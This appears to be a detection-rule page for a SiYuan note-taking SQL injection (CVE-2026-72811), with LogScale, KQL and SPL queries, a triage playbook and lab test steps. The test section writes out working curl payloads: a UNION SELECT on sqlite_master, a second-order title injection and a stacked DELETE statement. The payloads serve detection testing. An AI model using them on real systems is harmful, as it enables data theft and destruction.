Detect SiYuan Backlink/Mention Search SQL Injection (CVE-2026-72811) in CrowdStrike LogScale
Detects exploitation of CVE-2026-72811, a critical (CVSS 10.0) SQL injection in the SiYuan note-taking kernel (github.com/siyuan-note/siyuan/kernel) affecting versions before 0.0.0-20260723004839-1a5b3431d5ab. In publish mode, the backlink/mention search feature builds SQL against a read-write SQLite handle using unescaped client keyword input (first-order) and unescaped stored document titles (second-order). An attacker can break out of the SQL string literal to read, modify, or destroy arbitrary data. Exploitation appears as anomalous backlink/mention search HTTP requests (e.g. /api/ref/getBacklink2, /api/search/*) carrying SQL metacharacters, or as errors/anomalous query patterns in kernel logs. A PoC is public via GHSA-q2vg-7qgx-x5fc.
MITRE ATT&CK
- Tactic
- Collection Impact
LogScale Detection Query
#event_simpleName=/HttpRequest/i
| (UrlPath=/\/api\/(ref\/getBacklink|ref\/getBackmentionDoc|search\/searchRefBlock|search\/fullTextSearchBlock)/i)
| lower(field=UrlQuery, as=payload)
| payload=/(union\s+select|sqlite_master|randomblob|load_extension|attach\s+database|'\s*--|'\s+or\s|'\s+and\s)/i
| groupBy([aid, RemoteAddressIP4, UrlPath], function=count())
| sort(field=_count, order=desc)CrowdStrike CQL query flagging SiYuan backlink/mention search HTTP requests carrying SQL injection metacharacters.
Data Sources
Required Tables
False Positives & Tuning
- Sanctioned scanning or red-team activity
- Legitimate searches with SQL-like content
- Automated tests replaying attack strings
Other platforms for CVE-2026-72811
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1First-order SQLi via backlink search keyword
Expected signal: Web/proxy access log entry for /api/search/searchRefBlock with a request body containing UNION SELECT and sqlite_master
- Test 2Second-order SQLi via stored document title
Expected signal: Access log entries for createDoc (storing the payload title) followed by getBackmentionDoc, with SQL metacharacters in the stored title
- Test 3Destructive breakout probe via backlink search
Expected signal: Access log entry for /api/ref/getBacklink2 with a request body containing a semicolon-delimited DELETE statement
References (5)
- https://github.com/siyuan-note/siyuan/security/advisories/GHSA-q2vg-7qgx-x5fc
- https://nvd.nist.gov/vuln/detail/CVE-2026-72811
- https://github.com/siyuan-note/siyuan/commit/1a5b3431d5ab3036b19c1cc79486fedd6906fb57
- https://www.vulncheck.com/advisories/siyuan-before-sql-injection-via-backlink-search
- https://github.com/advisories/GHSA-q2vg-7qgx-x5fc
Response Playbook
Triage
- Confirm the SiYuan kernel version on the affected host: check the running binary build stamp against the fixed pseudo-version 0.0.0-20260723004839-1a5b3431d5ab. Anything earlier is vulnerable.
- Determine whether the instance runs in publish mode (the vulnerable configuration) and whether the backlink/mention search endpoints are network-reachable by untrusted users.
- Extract the full keyword/query parameter and any referenced document titles from the flagged request(s) and decode them to reconstruct the exact SQL breakout attempted (first-order client keyword vs second-order stored title).
- Correlate the source IP and user-agent against known-good users and prior request history to gauge whether this is opportunistic scanning or targeted exploitation.
Containment
- Restrict or disable public access to the SiYuan publish-mode backlink/mention search endpoints (network ACL or reverse-proxy block) until the kernel is upgraded.
- Upgrade the SiYuan kernel to a build at or after 0.0.0-20260723004839-1a5b3431d5ab (commit 1a5b3431d5ab) which parameterizes the search query.
- If active data manipulation is suspected, place the SQLite workspace database into read-only mode or take the instance offline pending forensic review.
Evidence Collection
- Preserve web/reverse-proxy access logs and SiYuan kernel logs covering the request window, including full URIs and request bodies.
- Capture a forensic copy of the SiYuan workspace SQLite database (block/ref tables) to establish whether stored data was read, altered, or destroyed via second-order injection.
- Record the SiYuan kernel version, config (publish mode flag), and network exposure at time of the event.
Escalation Criteria
- !Escalate to incident response if injected SQL indicates data exfiltration (e.g. sqlite_master enumeration, UNION-based reads) or destructive statements (DELETE/DROP/UPDATE) rather than benign probing.
- !Escalate if the source is external/untrusted and the endpoint was internet-exposed, or if evidence shows the SQLite database contents were modified.
Investigation Guide
Related Techniques
Forensic Artifacts
- >
Web/reverse-proxy access logs with SiYuan API URIs and request bodies - >
SiYuan kernel logs (SQL errors, query traces) - >
SiYuan workspace SQLite database file and its WAL/journal - >
Document title fields (stored second-order injection payloads)
Tuning Guidance
If your users legitimately search for content containing apostrophes or SQL keywords, tighten the marker set to high-signal SQLite-specific tokens (sqlite_master, randomblob, load_extension, attach database, UNION SELECT) and drop broad ' or / ' and matches. Scope the rule to the specific SiYuan host(s) and to requests from untrusted networks to reduce noise from internal authorized testing. Once all instances are upgraded past 1a5b3431d5ab, downgrade to hunt-only.
Hunting Queries
Hunt for SiYuan search requests attempting SQLite metadata enumeration or UNION-based reads, grouped by source, to find exploitation beyond single alerts.
W3CIISLog | where csUriStem has "/api/ref/getBacklink" or csUriStem has "/api/search/searchRefBlock" | extend p = tolower(csUriQuery) | where p has "sqlite_master" or p has "union select" or p has "randomblob" | summarize count() by cIP, bin(TimeGenerated, 1h)index=web (uri_path="/api/ref/getBacklink*" OR uri_path="/api/search/searchRefBlock") | eval p=lower(uri_query) | search p="*sqlite_master*" OR p="*union select*" OR p="*randomblob*" | stats count by src_ipAtomic Red Team Tests
Send a crafted keyword to the SiYuan backlink search endpoint that breaks out of the SQL string literal to enumerate SQLite metadata.
Command
curl -s -X POST 'http://127.0.0.1:6806/api/search/searchRefBlock' -H 'Content-Type: application/json' -d '{"k":"a'"'"' UNION SELECT name,sql FROM sqlite_master-- -"}'Cleanup
echo 'No persistent change from a read-only injection; no cleanup required'Expected Telemetry
Web/proxy access log entry for /api/search/searchRefBlock with a request body containing UNION SELECT and sqlite_master
Expected Detection
SPL/KQL/EQL rules match the SQL injection markers in the search request body/query.
Create a document whose title contains a SQL breakout payload, then trigger a mention/backlink search that concatenates the stored title into the query.
Command
curl -s -X POST 'http://127.0.0.1:6806/api/filetree/createDoc' -H 'Content-Type: application/json' -d '{"notebook":"test","path":"/x","title":"z'"'"' UNION SELECT sql,name FROM sqlite_master-- -"}'; curl -s -X POST 'http://127.0.0.1:6806/api/ref/getBackmentionDoc' -H 'Content-Type: application/json' -d '{"defID":"x","keyword":"z"}'Cleanup
curl -s -X POST 'http://127.0.0.1:6806/api/filetree/removeDoc' -H 'Content-Type: application/json' -d '{"notebook":"test","path":"/x"}'Expected Telemetry
Access log entries for createDoc (storing the payload title) followed by getBackmentionDoc, with SQL metacharacters in the stored title
Expected Detection
Detection matches SQL injection markers surfaced when the stored title is reflected into the mention search request/response path.
Send a stacked-statement style payload through the backlink search keyword to test write/destructive breakout on the read-write handle (lab only).
Command
curl -s -X POST 'http://127.0.0.1:6806/api/ref/getBacklink2' -H 'Content-Type: application/json' -d '{"id":"x","k":"a'"'"'; DELETE FROM blocks WHERE '"'"'1'"'"'='"'"'1"}'Cleanup
echo 'Run against a disposable lab workspace only; restore the SQLite workspace from backup if the DELETE succeeded'Expected Telemetry
Access log entry for /api/ref/getBacklink2 with a request body containing a semicolon-delimited DELETE statement
Expected Detection
Detection matches the stacked-statement / SQL metacharacter markers in the request body.